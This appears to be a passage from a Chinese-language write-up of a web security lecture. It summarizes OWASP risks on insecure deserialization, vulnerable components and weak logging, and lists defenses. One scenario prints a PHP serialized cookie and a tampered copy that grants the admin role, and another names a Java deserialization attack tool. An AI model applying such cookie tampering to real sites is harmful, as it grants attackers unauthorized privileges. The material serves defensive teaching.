反序列化缺陷的影響不能被低估。它們可能致使遠程代碼執行攻擊，這是可能發生的最嚴重的攻擊之一。

自查：您的應用程序脆弱嗎？

若是反序列化進攻者提供惡意代碼或者被篡改過的對象，將會使整個應用程序和API變的脆弱，這可能會致使如下兩種主要類型的攻擊：

1. 若是應用中存在能夠在反序列化過程當中或者以後被改變行爲的類，則攻擊者能夠經過改變應用邏輯或者實現遠程代碼執行攻擊，這種攻擊方式被稱爲對象和數據結構攻擊。
2. 典型的數據篡改攻擊，如訪問控制相關的攻擊，其中使用了現有的數據結構，但內容發生了變化。

在應用程序中，序列化可能被用於:

• 遠程和進程間通訊（RPC / IPC）
• 連線協議、Web服務、消息代理
• 緩存/持久性
• 數據庫、緩存服務器、文件系統
• HTTP cookie、HTML表單參數、API身份驗證令牌

如何防止？

惟一安全的架構模式是：不接受來自不受信源的序列化對象，或使用只容許原始數據類型的序列化媒體。 若是上述均沒法實現，請考慮使用下面的方法：

1. 執行完整性檢查，如：任何序列化對象的數字簽名，以防止惡意對象建立或數據篡改。
2. 在建立對象以前強制執行嚴格的類型約束，由於代碼一般被指望成一組可定義的類。繞過這種技術的方法已經被證實，因此徹底依賴於它是不可取的。
3. 若是可能，隔離運行那些在低特權環境中的反序列化代碼。
4. 記錄反序列化的例外狀況和失敗信息，如：傳入的類型不是預期的類型，或者反序列處理引起的例外狀況。
5. 限制或監視來自於容器或服務器傳入和傳出的反序列化網絡鏈接。
6. 監控反序列化，當用戶持續進行反序列化時，對用戶進行警告。

攻擊案例場景

場景 #1：一個React應用程序調用了一組Spring Boot微服務，爲了確保原有的代碼不變，解決方法是序列化用戶狀態，並在每次請求時來回傳遞。這時，攻擊者可利用「R00」Java對象簽名，並使用Java Serial Killer工具在應用服務器上得到遠程代碼執行。

場景 #2：一個PHP論壇使用PHP對象序列化來保存一個「超級」cookie。該cookie包含了用戶的ID、角色、密碼哈希和其餘狀態：

a:4:{i:0;i:132;i:1;s:7:"Mallory";i:2;s:4:"user"; i:3;s:32:"b6a8b3bea87fe0e05022f8f3c88bc960";}

攻擊者能夠更改序列化對象以授予本身爲admin權限：

a:4:{i:0;i:1;i:1;s:5:"Alice";i:2;s:5:"admin"; i:3;s:32:"b6a8b3bea87fe0e05022f8f3c88bc960";}

9、使用含有已知漏洞的組件

組件（例如：庫、框架和其餘軟件模塊）擁有和應用程序相同的權限。若是應用程序中含有已知漏洞的組件被攻擊者利用，可能會形成嚴重的數據丟失或服務器接管。同時，使用含有已知漏洞的組件和API會破壞應用程序的防護手段，形成各類攻擊併產生嚴重影響。

10、不足的日誌記錄和監控

不足的日誌記錄和監控，以及事件響應缺失或無效的集成，使攻擊者可以進一步攻擊系統，並篡改、提取或銷燬數據。大多數缺陷研究顯示，缺陷被檢測出的時間超過200天，且一般經過外部檢測方檢測，而不是經過內部流程或監控檢測。

未雨綢繆 - 項目中如何應對

開發人員須要作些什麼？

1. 提升風險意識
2. Code Review
3. 創建可重複使用的安全流程和標準安全控制
4. 安全檢測工具

a)     ZAP Tools

b)    靜態代碼分析

1. 創建持續性的應用安全測試
2. 管理完整的應用程序生命週期

以上即是從本次公開課分享——「WebApp 安全風險與防禦（系列二）」中截取的部份內容，相信必定能對您的WebApp應用程序安全防禦有所幫助。